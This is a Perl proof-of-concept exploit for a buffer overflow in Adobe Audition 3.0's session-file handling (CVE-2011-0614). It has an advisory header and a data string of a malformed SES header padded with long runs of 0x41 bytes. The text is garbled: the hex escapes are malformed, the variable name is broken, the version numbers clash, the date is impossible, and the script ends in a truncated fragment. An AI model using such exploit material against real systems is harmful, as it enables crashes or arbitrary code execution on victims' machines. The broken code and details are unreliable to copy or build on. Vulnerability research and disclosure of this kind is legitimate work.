#! /Usr/bin/perl
#
#
# Adobe Audition 3.0 (build 7283) Session File Handling Buffer Overflow PoC
#
#
# Vendor: Adobe Systems Inc.
# Product web page: http://www.adobe.com/products/audition/
# Affected version: 3.0 (build 7238)
#
# Summary: Recording, mixing, editing, and mastering-Adobe®Audition®3 software is
# All-in-one toolset for professional audio production.
#
# Desc: Adobe Audition suffers from a buffer overflow vulnerability when dealing with. SES
# (Session) format file. The application failz to sanitize the user input resulting in
# Memory uption, overwriting several memory registers which can aid the atacker to gain
# The power of executing arbitrary code or denial of service.
#
# Tested on Microsoft Windows XP Professional SP3 (English)
#
#
# Vulnerability discovered by Gjoko LiquidWorm Krstic
# Liquidworm gmail com
# Zero Science Lab http://www.zeroscience.mk
#
#
# Http://img225.imageshack.us/img225/9871/boferror.jpg
#
#
# Zero Science Lab Advisory ID: ZSL-2011-5012
# Zero Science Lab Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5012.php
#
# Adobe Advisory ID: APSB11-10
# Adobe Advisory URL: html "> http://www.adobe.com/support/security/bulletins/apsb11-10.html
#
# Cve id: CVE-2011-0614
#
#
#182.169.2009
#
$ Data = "x43x4Fx4Fx4Cx4Ex45x53x53x50xF2x08x00 ".
"X68x64x72x20xF0x03x00x00x22x56x00x00 ".
"XFCx17x0Ax00x00x00x00x00x20x00x01x00 ".
"X00x00x00x00x00x00xF0x3Fx00x00x00x00 ".
"X00x00xf0x3fx41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
"X41x41x41x41x41x41x41x41x41x41x41x41 ".
& Nbs